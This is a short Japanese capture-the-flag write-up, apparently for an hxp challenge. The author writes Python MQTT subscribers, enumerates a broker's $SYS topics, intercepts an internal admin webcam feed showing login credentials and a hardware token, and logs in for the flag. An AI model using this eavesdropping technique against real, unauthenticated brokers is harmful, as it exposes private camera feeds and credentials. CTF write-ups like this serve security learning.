OTPはOne Time Passwordの意味だろうか。
SQLiの脆弱性は無さそう。
トップに戻って機能を確認すると、MQTT over websocketで通信をしていることがわかる。
<script src="mqtt.min.js"></script> <script> var client = mqtt.connect('ws://' + location.hostname + ':60805') client.subscribe('hxp.io/temperature/Munich') client.on('message', function (topic, payload) { var temp = parseFloat(payload) var result = 'NO' /* secret formular, please no steal*/ if (-273.15 <= temp && temp < Infinity) { result = 'YES' } document.getElementById('beer').innerText = result }) </script>
以下ページを参考に、pythonでMQTTの通信プログラムを作る。
IoT時代のプログラミング(主にMQTTについて) - Qiita
MQTT over websocket in python - Stack Overflow
import paho.mqtt.client as mqtt def on_connect(client, userdata, flags, respons_code): print('connected') client.subscribe('hxp.io/temperature/Munich') def on_message(client, userdata, msg): print(msg.topic + ' ' + str(msg.payload)) client = mqtt.Client(transport="websockets") client.on_connect = on_connect client.on_message = on_message client.connect('159.69.212.240', 60805, keepalive=60) client.loop_forever()
実行する。
# python sub1.py connected hxp.io/temperature/Munich b'13.37' hxp.io/temperature/Munich b'13.37' ・ ・ ・
疎通できた。
次に、どういったtopicが配信されているか確認する。
mosquitto - How do I subscribe to all topics of a MQTT broker - Stack Overflow
subscribe関数の引数に#
を指定すると、全てのtopicを受信できるようだ。
しかし、hxp.io/temperature/Munich以外、特にtopicを受信できない。
Googleで調べると、$SYS
などの$
で始まるtopicは、#
の指定では受信できないようだ。
よって、subscribe関数の引数に$SYS/#
を指定して再実行する。
# python sub3.py connected $SYS/broker/version b'mosquitto version 1.4.10' $SYS/broker/timestamp b'Wed, 17 Oct 2018 19:03:03 +0200' $SYS/broker/uptime b'120032 seconds' (snip) $SYS/broker/load/connections/1min b'15.65' $SYS/broker/load/connections/5min b'14.97' $SYS/broker/load/connections/15min b'16.50' $SYS/broker/log/M/subscribe b'1544300880: 8dfc1754-7bc9-4f54-941c-87301580522a 0 $SYS/#' $SYS/broker/log/M/subscribe b'1544300881: db7d1b52-8f48-4ae9-aeb2-89e716b327ff 0 $internal/admin/webcam'
$internal/admin/webcam
という興味深いtopicを発見。
試しに受信してみると、JPGファイルのバイナリのようなデータを受信した。
ファイルに出力してみる。
import paho.mqtt.client as mqtt def on_connect(client, userdata, flags, respons_code): print('connected') client.subscribe('$internal/admin/webcam') def on_message(client, userdata, msg): print("message receive") f=open("webcam.jpg","wb") f.write(msg.payload) f.close() client = mqtt.Client(transport="websockets") client.on_connect = on_connect client.on_message = on_message client.connect('159.69.212.240', 60805, keepalive=60) client.loop_forever()
# python sub4.py connected message receive message receive ・ ・
Username、PasswordとRSA SecurIDハードトークンの画像。
/admin.phpにログインするとフラグをゲット。
hxp{Air gap your beers :| - Prost!}